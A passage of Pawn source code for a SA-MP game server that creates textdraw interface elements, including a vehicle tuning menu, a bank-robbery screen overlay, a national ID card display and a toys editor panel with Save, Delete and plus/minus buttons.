TextDrawLetterSize(TuningTD2[2], 0.323749, 1.524166);
TextDrawAlignment(TuningTD2[2], 1);
TextDrawColor(TuningTD2[2], -1);
TextDrawSetShadow(TuningTD2[2], 0);
TextDrawSetOutline(TuningTD2[2], 0);
TextDrawBackgroundColor(TuningTD2[2], 255);
TextDrawFont(TuningTD2[2], 1);
TextDrawSetProportional(TuningTD2[2], 1);
TextDrawSetShadow(TuningTD2[2], 0);
TextDrawTextSize(TuningTD2[2], 105.000000, 15.000000);
TextDrawSetSelectable(TuningTD2[2], true);


TuningTD2[3] = TextDrawCreate(35.625000, 215.083343, "Side Skirts");
TextDrawLetterSize(TuningTD2[3], 0.400000, 1.600000);
TextDrawAlignment(TuningTD2[3], 1);
TextDrawColor(TuningTD2[3], -1);
TextDrawSetShadow(TuningTD2[3], 0);
TextDrawSetOutline(TuningTD2[3], 0);
TextDrawBackgroundColor(TuningTD2[3], 255);
TextDrawFont(TuningTD2[3], 1);
TextDrawSetProportional(TuningTD2[3], 1);
TextDrawSetShadow(TuningTD2[3], 0);
TextDrawTextSize(TuningTD2[3], 106.000000, 15.000000);
TextDrawSetSelectable(TuningTD2[3], true);


		Bank_Rob_Power_TD = TextDrawCreate(1.390922, 1.583324, "_");
  TextDrawLetterSize(Bank_Rob_Power_TD, 0.914174, 51.168899);
  TextDrawTextSize(Bank_Rob_Power_TD, 640.000000, 0.000000);
  TextDrawAlignment(Bank_Rob_Power_TD, 1);
  TextDrawColor(Bank_Rob_Power_TD, -1);
  TextDrawUseBox(Bank_Rob_Power_TD, 1);
  TextDrawBoxColor(Bank_Rob_Power_TD, 85);
  TextDrawSetShadow(Bank_Rob_Power_TD, 0);
  TextDrawSetOutline(Bank_Rob_Power_TD, 0);
  TextDrawBackgroundColor(Bank_Rob_Power_TD, 255);
  TextDrawFont(Bank_Rob_Power_TD, 1);
  TextDrawSetProportional(Bank_Rob_Power_TD, 1);
  TextDrawSetShadow(Bank_Rob_Power_TD, 0);
  
NCGlobal[0] = TextDrawCreate(205.625000, 271.083343, "box");
TextDrawLetterSize(NCGlobal[0], 0.000000, 10.812500);
TextDrawTextSize(NCGlobal[0], 435.000000, 0.000000);
TextDrawAlignment(NCGlobal[0], 1);
TextDrawColor(NCGlobal[0], -1);
TextDrawUseBox(NCGlobal[0], 1);
TextDrawBoxColor(NCGlobal[0], 170);
TextDrawSetShadow(NCGlobal[0], 0);
TextDrawSetOutline(NCGlobal[0], 0);
TextDrawBackgroundColor(NCGlobal[0], 255);
TextDrawFont(NCGlobal[0], 1);
TextDrawSetProportional(NCGlobal[0], 1);
TextDrawSetShadow(NCGlobal[0], 0);

NCGlobal[1] = TextDrawCreate(238.125000, 268.166656, "Azin Game National Card");
TextDrawLetterSize(NCGlobal[1], 0.400000, 1.600000);
TextDrawAlignment(NCGlobal[1], 1);
TextDrawColor(NCGlobal[1], -1);
TextDrawSetShadow(NCGlobal[1], 0);
TextDrawSetOutline(NCGlobal[1], 0);
TextDrawBackgroundColor(NCGlobal[1], 255);
TextDrawFont(NCGlobal[1], 1);
TextDrawSetProportional(NCGlobal[1], 1);
TextDrawSetShadow(NCGlobal[1], 0);
new settoName[200];
format(settoName, sizeof(settoName), "%s %s National Card", SERVER_NAME1, SERVER_NAME2);
TextDrawSetString(NCGlobal[1], settoName);


ToysGTD[0] = TextDrawCreate(539.170349, 110.849533, "box");TextDrawLetterSize(ToysGTD[0], 0.000000, 29.875314);TextDrawTextSize(ToysGTD[0], 637.699829, 0.000000);TextDrawAlignment(ToysGTD[0], 1);TextDrawColor(ToysGTD[0], -1);TextDrawUseBox(ToysGTD[0], 1);TextDrawBoxColor(ToysGTD[0], 116);TextDrawSetShadow(ToysGTD[0], 0);TextDrawBackgroundColor(ToysGTD[0], 255);TextDrawFont(ToysGTD[0], 1);TextDrawSetProportional(ToysGTD[0], 1);
	ToysGTD[1] = TextDrawCreate(537.036499, 112.416687, "LD_SPAC:white");TextDrawTextSize(ToysGTD[1], 27.070001, 12.000000);TextDrawAlignment(ToysGTD[1], 1);TextDrawColor(ToysGTD[1], 8388863);TextDrawSetShadow(ToysGTD[1], 0);TextDrawBackgroundColor(ToysGTD[1], 255);TextDrawFont(ToysGTD[1], 4);TextDrawSetProportional(ToysGTD[1], 0);
	ToysGTD[2] = TextDrawCreate(612.934814, 112.416687, "LD_SPAC:white");TextDrawTextSize(ToysGTD[2], 27.070001, 12.000000);TextDrawAlignment(ToysGTD[2], 1);TextDrawColor(ToysGTD[2], -2147483393);TextDrawSetShadow(ToysGTD[2], 0);TextDrawBackgroundColor(ToysGTD[2], 255);TextDrawFont(ToysGTD[2], 4);TextDrawSetProportional(ToysGTD[2], 0);
	ToysGTD[3] = TextDrawCreate(566.235412, 110.249977, "-Toys_Studio-");TextDrawLetterSize(ToysGTD[3], 0.210822, 1.521666);TextDrawAlignment(ToysGTD[3], 1);TextDrawColor(ToysGTD[3], -1);TextDrawSetShadow(ToysGTD[3], 1);TextDrawBackgroundColor(ToysGTD[3], 255);TextDrawFont(ToysGTD[3], 1);TextDrawSetProportional(ToysGTD[3], 1);
	ToysGTD[4] = TextDrawCreate(549.933776, 112.666641, "Save");TextDrawLetterSize(ToysGTD[4], 0.185882, 0.944163);TextDrawTextSize(ToysGTD[4], 10.000000, 10.000000);TextDrawAlignment(ToysGTD[4], 2);TextDrawColor(ToysGTD[4], -1);TextDrawSetShadow(ToysGTD[4], 1);TextDrawBackgroundColor(ToysGTD[4], 255);TextDrawFont(ToysGTD[4], 1);TextDrawSetProportional(ToysGTD[4], 1);TextDrawSetSelectable(ToysGTD[4], true);
	ToysGTD[5] = TextDrawCreate(627.235412, 112.666641, "Delete");TextDrawLetterSize(ToysGTD[5], 0.185882, 0.944163);TextDrawTextSize(ToysGTD[5], 10.000000, 10.000000);TextDrawAlignment(ToysGTD[5], 2);TextDrawColor(ToysGTD[5], -1);TextDrawSetShadow(ToysGTD[5], 1);TextDrawBackgroundColor(ToysGTD[5], 255);TextDrawFont(ToysGTD[5], 1);TextDrawSetProportional(ToysGTD[5], 1);TextDrawSetSelectable(ToysGTD[5], true);
	ToysGTD[6] = TextDrawCreate(561.058654, 132.833343, "box");TextDrawLetterSize(ToysGTD[6], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[6], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[6], 1);TextDrawColor(ToysGTD[6], -1061109505);TextDrawUseBox(ToysGTD[6], 1);TextDrawBoxColor(ToysGTD[6], -1061109505);TextDrawSetShadow(ToysGTD[6], 0);TextDrawBackgroundColor(ToysGTD[6], 255);TextDrawFont(ToysGTD[6], 1);TextDrawSetProportional(ToysGTD[6], 1);
	ToysGTD[7] = TextDrawCreate(591.058776, 147.833343, "box");TextDrawLetterSize(ToysGTD[7], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[7], 0.000000, 95.676979);TextDrawAlignment(ToysGTD[7], 2);TextDrawColor(ToysGTD[7], -1061109505);TextDrawUseBox(ToysGTD[7], 1);TextDrawBoxColor(ToysGTD[7], -1061109505);TextDrawSetShadow(ToysGTD[7], 0);TextDrawBackgroundColor(ToysGTD[7], 255);TextDrawFont(ToysGTD[7], 1);TextDrawSetProportional(ToysGTD[7], 1);
	ToysGTD[8] = TextDrawCreate(591.058776, 162.833343, "box");TextDrawLetterSize(ToysGTD[8], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[8], 0.000000, 95.676979);TextDrawAlignment(ToysGTD[8], 2);TextDrawColor(ToysGTD[8], -1061109505);TextDrawUseBox(ToysGTD[8], 1);TextDrawBoxColor(ToysGTD[8], -1061109505);TextDrawSetShadow(ToysGTD[8], 0);TextDrawBackgroundColor(ToysGTD[8], 255);TextDrawFont(ToysGTD[8], 1);TextDrawSetProportional(ToysGTD[8], 1);
	ToysGTD[9] = TextDrawCreate(561.058654, 178.833343, "box");TextDrawLetterSize(ToysGTD[9], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[9], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[9], 1);TextDrawColor(ToysGTD[9], -1061109505);TextDrawUseBox(ToysGTD[9], 1);TextDrawBoxColor(ToysGTD[9], -1061109505);TextDrawSetShadow(ToysGTD[9], 0);TextDrawBackgroundColor(ToysGTD[9], 255);TextDrawFont(ToysGTD[9], 1);TextDrawSetProportional(ToysGTD[9], 1);
	ToysGTD[10] = TextDrawCreate(561.058654, 195.833343, "box");TextDrawLetterSize(ToysGTD[10], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[10], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[10], 1);TextDrawColor(ToysGTD[10], -1061109505);TextDrawUseBox(ToysGTD[10], 1);TextDrawBoxColor(ToysGTD[10], -1061109505);TextDrawSetShadow(ToysGTD[10], 0);TextDrawBackgroundColor(ToysGTD[10], 255);TextDrawFont(ToysGTD[10], 1);TextDrawSetProportional(ToysGTD[10], 1);
	ToysGTD[11] = TextDrawCreate(561.058654, 211.833343, "box");TextDrawLetterSize(ToysGTD[11], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[11], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[11], 1);TextDrawColor(ToysGTD[11], -1061109505);TextDrawUseBox(ToysGTD[11], 1);TextDrawBoxColor(ToysGTD[11], -1061109505);TextDrawSetShadow(ToysGTD[11], 0);TextDrawBackgroundColor(ToysGTD[11], 255);TextDrawFont(ToysGTD[11], 1);TextDrawSetProportional(ToysGTD[11], 1);
	ToysGTD[12] = TextDrawCreate(561.058654, 228.833343, "box");TextDrawLetterSize(ToysGTD[12], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[12], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[12], 1);TextDrawColor(ToysGTD[12], -1061109505);TextDrawUseBox(ToysGTD[12], 1);TextDrawBoxColor(ToysGTD[12], -1061109505);TextDrawSetShadow(ToysGTD[12], 0);TextDrawBackgroundColor(ToysGTD[12], 255);TextDrawFont(ToysGTD[12], 1);TextDrawSetProportional(ToysGTD[12], 1);
	ToysGTD[13] = TextDrawCreate(561.058654, 245.833343, "box");TextDrawLetterSize(ToysGTD[13], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[13], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[13], 1);TextDrawColor(ToysGTD[13], -1061109505);TextDrawUseBox(ToysGTD[13], 1);TextDrawBoxColor(ToysGTD[13], -1061109505);TextDrawSetShadow(ToysGTD[13], 0);TextDrawBackgroundColor(ToysGTD[13], 255);TextDrawFont(ToysGTD[13], 1);TextDrawSetProportional(ToysGTD[13], 1);
	ToysGTD[14] = TextDrawCreate(561.058654, 261.833343, "box");TextDrawLetterSize(ToysGTD[14], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[14], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[14], 1);TextDrawColor(ToysGTD[14], -1061109505);TextDrawUseBox(ToysGTD[14], 1);TextDrawBoxColor(ToysGTD[14], -1061109505);TextDrawSetShadow(ToysGTD[14], 0);TextDrawBackgroundColor(ToysGTD[14], 255);TextDrawFont(ToysGTD[14], 1);TextDrawSetProportional(ToysGTD[14], 1);
	ToysGTD[15] = TextDrawCreate(561.058654, 277.833343, "box");TextDrawLetterSize(ToysGTD[15], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[15], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[15], 1);TextDrawColor(ToysGTD[15], -1061109505);TextDrawUseBox(ToysGTD[15], 1);TextDrawBoxColor(ToysGTD[15], -1061109505);TextDrawSetShadow(ToysGTD[15], 0);TextDrawBackgroundColor(ToysGTD[15], 255);TextDrawFont(ToysGTD[15], 1);TextDrawSetProportional(ToysGTD[15], 1);
	ToysGTD[16] = TextDrawCreate(561.058654, 293.833343, "box");TextDrawLetterSize(ToysGTD[16], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[16], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[16], 1);TextDrawColor(ToysGTD[16], -1061109505);TextDrawUseBox(ToysGTD[16], 1);TextDrawBoxColor(ToysGTD[16], -1061109505);TextDrawSetShadow(ToysGTD[16], 0);TextDrawBackgroundColor(ToysGTD[16], 255);TextDrawFont(ToysGTD[16], 1);TextDrawSetProportional(ToysGTD[16], 1);
	ToysGTD[17] = TextDrawCreate(561.058654, 310.833343, "box");TextDrawLetterSize(ToysGTD[17], 0.000000, 0.870585);TextDrawTextSize(ToysGTD[17], 623.000000, 0.000000);TextDrawAlignment(ToysGTD[17], 1);TextDrawColor(ToysGTD[17], -1061109505);TextDrawUseBox(ToysGTD[17], 1);TextDrawBoxColor(ToysGTD[17], -1061109505);TextDrawSetShadow(ToysGTD[17], 0);TextDrawBackgroundColor(ToysGTD[17], 255);TextDrawFont(ToysGTD[17], 1);TextDrawSetProportional(ToysGTD[17], 1);	ToysGTD[18] = TextDrawCreate(541.411804, 130.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[18], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[18], 1);TextDrawColor(ToysGTD[18], -2147483393);TextDrawSetShadow(ToysGTD[18], 0);TextDrawBackgroundColor(ToysGTD[18], 255);TextDrawFont(ToysGTD[18], 4);TextDrawSetProportional(ToysGTD[18], 0);
	ToysGTD[19] = TextDrawCreate(541.411804, 176.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[19], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[19], 1);TextDrawColor(ToysGTD[19], -2147483393);TextDrawSetShadow(ToysGTD[19], 0);TextDrawBackgroundColor(ToysGTD[19], 255);TextDrawFont(ToysGTD[19], 4);TextDrawSetProportional(ToysGTD[19], 0);
	ToysGTD[20] = TextDrawCreate(541.411804, 193.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[20], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[20], 1);TextDrawColor(ToysGTD[20], -2147483393);TextDrawSetShadow(ToysGTD[20], 0);TextDrawBackgroundColor(ToysGTD[20], 255);TextDrawFont(ToysGTD[20], 4);TextDrawSetProportional(ToysGTD[20], 0);
	ToysGTD[21] = TextDrawCreate(541.411804, 209.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[21], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[21], 1);TextDrawColor(ToysGTD[21], -2147483393);TextDrawSetShadow(ToysGTD[21], 0);TextDrawBackgroundColor(ToysGTD[21], 255);TextDrawFont(ToysGTD[21], 4);TextDrawSetProportional(ToysGTD[21], 0);
	ToysGTD[22] = TextDrawCreate(541.411804, 226.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[22], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[22], 1);TextDrawColor(ToysGTD[22], -2147483393);TextDrawSetShadow(ToysGTD[22], 0);TextDrawBackgroundColor(ToysGTD[22], 255);TextDrawFont(ToysGTD[22], 4);TextDrawSetProportional(ToysGTD[22], 0);
	ToysGTD[23] = TextDrawCreate(541.411804, 243.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[23], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[23], 1);TextDrawColor(ToysGTD[23], -2147483393);TextDrawSetShadow(ToysGTD[23], 0);TextDrawBackgroundColor(ToysGTD[23], 255);TextDrawFont(ToysGTD[23], 4);TextDrawSetProportional(ToysGTD[23], 0);
	ToysGTD[24] = TextDrawCreate(541.411804, 259.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[24], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[24], 1);TextDrawColor(ToysGTD[24], -2147483393);TextDrawSetShadow(ToysGTD[24], 0);TextDrawBackgroundColor(ToysGTD[24], 255);TextDrawFont(ToysGTD[24], 4);TextDrawSetProportional(ToysGTD[24], 0);
	ToysGTD[25] = TextDrawCreate(541.411804, 275.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[25], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[25], 1);TextDrawColor(ToysGTD[25], -2147483393);TextDrawSetShadow(ToysGTD[25], 0);TextDrawBackgroundColor(ToysGTD[25], 255);TextDrawFont(ToysGTD[25], 4);TextDrawSetProportional(ToysGTD[25], 0);
	ToysGTD[26] = TextDrawCreate(541.411804, 291.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[26], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[26], 1);TextDrawColor(ToysGTD[26], -2147483393);TextDrawSetShadow(ToysGTD[26], 0);TextDrawBackgroundColor(ToysGTD[26], 255);TextDrawFont(ToysGTD[26], 4);TextDrawSetProportional(ToysGTD[26], 0);
	ToysGTD[27] = TextDrawCreate(541.411804, 308.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[27], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[27], 1);TextDrawColor(ToysGTD[27], -2147483393);TextDrawSetShadow(ToysGTD[27], 0);TextDrawBackgroundColor(ToysGTD[27], 255);TextDrawFont(ToysGTD[27], 4);TextDrawSetProportional(ToysGTD[27], 0);
	ToysGTD[28] = TextDrawCreate(626.211853, 130.250000, "LD_SPAC:white");TextDrawTextSize(ToysGTD[28], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[28], 1);TextDrawColor(ToysGTD[28], 8388863);TextDrawSetShadow(ToysGTD[28], 0);TextDrawBackgroundColor(ToysGTD[28], 255);TextDrawFont(ToysGTD[28], 4);TextDrawSetProportional(ToysGTD[28], 0);
	ToysGTD[29] = TextDrawCreate(626.211853, 176.249298, "LD_SPAC:white");TextDrawTextSize(ToysGTD[29], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[29], 1);TextDrawColor(ToysGTD[29], 8388863);TextDrawSetShadow(ToysGTD[29], 0);TextDrawBackgroundColor(ToysGTD[29], 255);TextDrawFont(ToysGTD[29], 4);TextDrawSetProportional(ToysGTD[29], 0);
	ToysGTD[30] = TextDrawCreate(626.211853, 193.449035, "LD_SPAC:white");TextDrawTextSize(ToysGTD[30], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[30], 1);TextDrawColor(ToysGTD[30], 8388863);TextDrawSetShadow(ToysGTD[30], 0);TextDrawBackgroundColor(ToysGTD[30], 255);TextDrawFont(ToysGTD[30], 4);TextDrawSetProportional(ToysGTD[30], 0);
	ToysGTD[31] = TextDrawCreate(626.211853, 209.448791, "LD_SPAC:white");TextDrawTextSize(ToysGTD[31], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[31], 1);TextDrawColor(ToysGTD[31], 8388863);TextDrawSetShadow(ToysGTD[31], 0);TextDrawBackgroundColor(ToysGTD[31], 255);TextDrawFont(ToysGTD[31], 4);TextDrawSetProportional(ToysGTD[31], 0);
	ToysGTD[32] = TextDrawCreate(626.211853, 226.648529, "LD_SPAC:white");TextDrawTextSize(ToysGTD[32], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[32], 1);TextDrawColor(ToysGTD[32], 8388863);TextDrawSetShadow(ToysGTD[32], 0);TextDrawBackgroundColor(ToysGTD[32], 255);TextDrawFont(ToysGTD[32], 4);TextDrawSetProportional(ToysGTD[32], 0);
	ToysGTD[33] = TextDrawCreate(626.211853, 243.448272, "LD_SPAC:white");TextDrawTextSize(ToysGTD[33], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[33], 1);TextDrawColor(ToysGTD[33], 8388863);TextDrawSetShadow(ToysGTD[33], 0);TextDrawBackgroundColor(ToysGTD[33], 255);TextDrawFont(ToysGTD[33], 4);TextDrawSetProportional(ToysGTD[33], 0);
	ToysGTD[34] = TextDrawCreate(626.211853, 259.048034, "LD_SPAC:white");TextDrawTextSize(ToysGTD[34], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[34], 1);TextDrawColor(ToysGTD[34], 8388863);TextDrawSetShadow(ToysGTD[34], 0);TextDrawBackgroundColor(ToysGTD[34], 255);TextDrawFont(ToysGTD[34], 4);TextDrawSetProportional(ToysGTD[34], 0);
	ToysGTD[35] = TextDrawCreate(626.211853, 275.447784, "LD_SPAC:white");TextDrawTextSize(ToysGTD[35], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[35], 1);TextDrawColor(ToysGTD[35], 8388863);TextDrawSetShadow(ToysGTD[35], 0);TextDrawBackgroundColor(ToysGTD[35], 255);TextDrawFont(ToysGTD[35], 4);TextDrawSetProportional(ToysGTD[35], 0);
	ToysGTD[36] = TextDrawCreate(626.211853, 291.447540, "LD_SPAC:white");TextDrawTextSize(ToysGTD[36], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[36], 1);TextDrawColor(ToysGTD[36], 8388863);TextDrawSetShadow(ToysGTD[36], 0);TextDrawBackgroundColor(ToysGTD[36], 255);TextDrawFont(ToysGTD[36], 4);TextDrawSetProportional(ToysGTD[36], 0);
	ToysGTD[37] = TextDrawCreate(626.211853, 308.247283, "LD_SPAC:white");TextDrawTextSize(ToysGTD[37], 16.050001, 13.029994);TextDrawAlignment(ToysGTD[37], 1);TextDrawColor(ToysGTD[37], 8388863);TextDrawSetShadow(ToysGTD[37], 0);TextDrawBackgroundColor(ToysGTD[37], 255);TextDrawFont(ToysGTD[37], 4);TextDrawSetProportional(ToysGTD[37], 0);
	ToysGTD[38] = TextDrawCreate(633.063781, 131.666687, "+");TextDrawLetterSize(ToysGTD[38], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[38], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[38], 2);TextDrawColor(ToysGTD[38], -1);TextDrawSetShadow(ToysGTD[38], 1);TextDrawBackgroundColor(ToysGTD[38], 255);TextDrawFont(ToysGTD[38], 2);TextDrawSetProportional(ToysGTD[38], 1);TextDrawSetSelectable(ToysGTD[38], true);
	ToysGTD[39] = TextDrawCreate(633.063781, 177.666687, "+");TextDrawLetterSize(ToysGTD[39], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[39], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[39], 2);TextDrawColor(ToysGTD[39], -1);TextDrawSetShadow(ToysGTD[39], 1);TextDrawBackgroundColor(ToysGTD[39], 255);TextDrawFont(ToysGTD[39], 2);TextDrawSetProportional(ToysGTD[39], 1);TextDrawSetSelectable(ToysGTD[39], true);
	ToysGTD[40] = TextDrawCreate(633.063781, 194.666687, "+");TextDrawLetterSize(ToysGTD[40], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[40], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[40], 2);TextDrawColor(ToysGTD[40], -1);TextDrawSetShadow(ToysGTD[40], 1);TextDrawBackgroundColor(ToysGTD[40], 255);TextDrawFont(ToysGTD[40], 2);TextDrawSetProportional(ToysGTD[40], 1);TextDrawSetSelectable(ToysGTD[40], true);
	ToysGTD[41] = TextDrawCreate(633.063781, 210.666687, "+");TextDrawLetterSize(ToysGTD[41], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[41], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[41], 2);TextDrawColor(ToysGTD[41], -1);TextDrawSetShadow(ToysGTD[41], 1);TextDrawBackgroundColor(ToysGTD[41], 255);TextDrawFont(ToysGTD[41], 2);TextDrawSetProportional(ToysGTD[41], 1);TextDrawSetSelectable(ToysGTD[41], true);
	ToysGTD[42] = TextDrawCreate(633.063781, 227.666687, "+");TextDrawLetterSize(ToysGTD[42], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[42], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[42], 2);TextDrawColor(ToysGTD[42], -1);TextDrawSetShadow(ToysGTD[42], 1);TextDrawBackgroundColor(ToysGTD[42], 255);TextDrawFont(ToysGTD[42], 2);TextDrawSetProportional(ToysGTD[42], 1);TextDrawSetSelectable(ToysGTD[42], true);
	ToysGTD[43] = TextDrawCreate(633.063781, 244.666687, "+");TextDrawLetterSize(ToysGTD[43], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[43], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[43], 2);TextDrawColor(ToysGTD[43], -1);TextDrawSetShadow(ToysGTD[43], 1);TextDrawBackgroundColor(ToysGTD[43], 255);TextDrawFont(ToysGTD[43], 2);TextDrawSetProportional(ToysGTD[43], 1);TextDrawSetSelectable(ToysGTD[43], true);
	ToysGTD[44] = TextDrawCreate(633.063781, 260.666687, "+");TextDrawLetterSize(ToysGTD[44], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[44], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[44], 2);TextDrawColor(ToysGTD[44], -1);TextDrawSetShadow(ToysGTD[44], 1);TextDrawBackgroundColor(ToysGTD[44], 255);TextDrawFont(ToysGTD[44], 2);TextDrawSetProportional(ToysGTD[44], 1);TextDrawSetSelectable(ToysGTD[44], true);
	ToysGTD[45] = TextDrawCreate(633.063781, 276.666687, "+");TextDrawLetterSize(ToysGTD[45], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[45], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[45], 2);TextDrawColor(ToysGTD[45], -1);TextDrawSetShadow(ToysGTD[45], 1);TextDrawBackgroundColor(ToysGTD[45], 255);TextDrawFont(ToysGTD[45], 2);TextDrawSetProportional(ToysGTD[45], 1);TextDrawSetSelectable(ToysGTD[45], true);
	ToysGTD[46] = TextDrawCreate(633.063781, 292.666687, "+");TextDrawLetterSize(ToysGTD[46], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[46], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[46], 2);TextDrawColor(ToysGTD[46], -1);TextDrawSetShadow(ToysGTD[46], 1);TextDrawBackgroundColor(ToysGTD[46], 255);TextDrawFont(ToysGTD[46], 2);TextDrawSetProportional(ToysGTD[46], 1);TextDrawSetSelectable(ToysGTD[46], true);
	ToysGTD[47] = TextDrawCreate(633.063781, 308.666687, "+");TextDrawLetterSize(ToysGTD[47], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[47], 5.000000, 5.000000);TextDrawAlignment(ToysGTD[47], 2);TextDrawColor(ToysGTD[47], -1);TextDrawSetShadow(ToysGTD[47], 1);TextDrawBackgroundColor(ToysGTD[47], 255);TextDrawFont(ToysGTD[47], 2);TextDrawSetProportional(ToysGTD[47], 1);TextDrawSetSelectable(ToysGTD[47], true);
	ToysGTD[48] = TextDrawCreate(549.159606, 308.863983, "-");TextDrawLetterSize(ToysGTD[48], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[48], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[48], 2);TextDrawColor(ToysGTD[48], -1);TextDrawSetShadow(ToysGTD[48], 1);TextDrawBackgroundColor(ToysGTD[48], 255);TextDrawFont(ToysGTD[48], 2);TextDrawSetProportional(ToysGTD[48], 1);TextDrawSetSelectable(ToysGTD[48], true);
	ToysGTD[49] = TextDrawCreate(549.159606, 291.863983, "-");TextDrawLetterSize(ToysGTD[49], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[49], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[49], 2);TextDrawColor(ToysGTD[49], -1);TextDrawSetShadow(ToysGTD[49], 1);TextDrawBackgroundColor(ToysGTD[49], 255);TextDrawFont(ToysGTD[49], 2);TextDrawSetProportional(ToysGTD[49], 1);TextDrawSetSelectable(ToysGTD[49], true);
	ToysGTD[50] = TextDrawCreate(549.159606, 275.863983, "-");TextDrawLetterSize(ToysGTD[50], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[50], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[50], 2);TextDrawColor(ToysGTD[50], -1);TextDrawSetShadow(ToysGTD[50], 1);TextDrawBackgroundColor(ToysGTD[50], 255);TextDrawFont(ToysGTD[50], 2);TextDrawSetProportional(ToysGTD[50], 1);TextDrawSetSelectable(ToysGTD[50], true);
	ToysGTD[51] = TextDrawCreate(549.159606, 259.863983, "-");TextDrawLetterSize(ToysGTD[51], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[51], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[51], 2);TextDrawColor(ToysGTD[51], -1);TextDrawSetShadow(ToysGTD[51], 1);TextDrawBackgroundColor(ToysGTD[51], 255);TextDrawFont(ToysGTD[51], 2);TextDrawSetProportional(ToysGTD[51], 1);TextDrawSetSelectable(ToysGTD[51], true);
	ToysGTD[52] = TextDrawCreate(549.159606, 244.863983, "-");TextDrawLetterSize(ToysGTD[52], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[52], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[52], 2);TextDrawColor(ToysGTD[52], -1);TextDrawSetShadow(ToysGTD[52], 1);TextDrawBackgroundColor(ToysGTD[52], 255);TextDrawFont(ToysGTD[52], 2);TextDrawSetProportional(ToysGTD[52], 1);TextDrawSetSelectable(ToysGTD[52], true);
	ToysGTD[53] = TextDrawCreate(549.159606, 227.863983, "-");TextDrawLetterSize(ToysGTD[53], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[53], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[53], 2);TextDrawColor(ToysGTD[53], -1);TextDrawSetShadow(ToysGTD[53], 1);TextDrawBackgroundColor(ToysGTD[53], 255);TextDrawFont(ToysGTD[53], 2);TextDrawSetProportional(ToysGTD[53], 1);TextDrawSetSelectable(ToysGTD[53], true);
	ToysGTD[54] = TextDrawCreate(549.159606, 209.863983, "-");TextDrawLetterSize(ToysGTD[54], 0.237176, 1.010833);TextDrawTextSize(ToysGTD[54], 5.000000, 10.000000);TextDrawAlignment(ToysGTD[54], 2);TextDrawColor(ToysGTD[54], -1);TextDrawSetShadow(ToysGTD[54], 1);TextDrawBackgroundColor(ToysGTD[54], 255);TextDrawFont(ToysGTD[54], 2);TextDrawSetProportional(ToysGTD[54], 1);TextDrawSetSelectable(ToysGTD[54], true);
